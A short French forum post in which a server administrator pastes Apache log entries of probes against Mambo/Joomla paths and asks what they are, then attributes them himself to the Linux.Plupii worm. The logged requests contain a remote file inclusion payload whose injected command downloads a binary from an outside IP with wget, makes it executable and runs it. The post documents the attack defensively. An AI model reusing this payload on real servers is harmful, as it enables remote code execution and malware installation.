petite analyse de mon log svp

[mat67]

Hello,

SME installé y a pas longtemps, et je viens de voir ça dans les logs :


67.128.88.17 - - [20/Feb/2006:11:52:01 +0100] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://198.170.105.69/c.gif?&cmd=cd%20/tmp;wget%20198.170.105.69/supina;chmod%20744%20supina;./supina;echo%20YYY;echo| HTTP/1.1" 404 208 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"


67.128.88.17 - - [20/Feb/2006:11:52:02 +0100] "GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://198.170.105.69/c.gif?&cmd=cd%20/tmp;wget%20198.170.105.69/supina;chmod%20744%20supina;./supina;echo%20YYY;echo| HTTP/1.1" 404 207 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"


67.128.88.17 - - [20/Feb/2006:11:52:03 +0100] "GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://198.170.105.69/c.gif?&cmd=cd%20/tmp;wget%20198.170.105.69/supina;chmod%20744%20supina;./supina;echo%20YYY;echo| HTTP/1.1" 404 214 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"


67.128.88.17 - - [20/Feb/2006:11:52:05 +0100] "GET /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://198.170.105.69/c.gif?&cmd=cd%20/tmp;wget%20198.170.105.69/supina;chmod%20744%20supina;./supina;echo%20YYY;echo| HTTP/1.1" 404 212 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"

..... encore un paquet de trucs du genre (/blog/..., /drupal/..., /wordxpress, /phpgroupware/ ... etc !)

j'ai le même genre de choses venant de 82.80.248.115, 216.97.74.22, ...

C'est un nouveau genre de scan de fails de scripts ça ?

[mat67]

Autoréponse :

"Linux.Plupii.C is a worm with back door capabilities that spreads by exploiting vulnerabilities." :

ça doit être des PC Zombies inféctés.

a+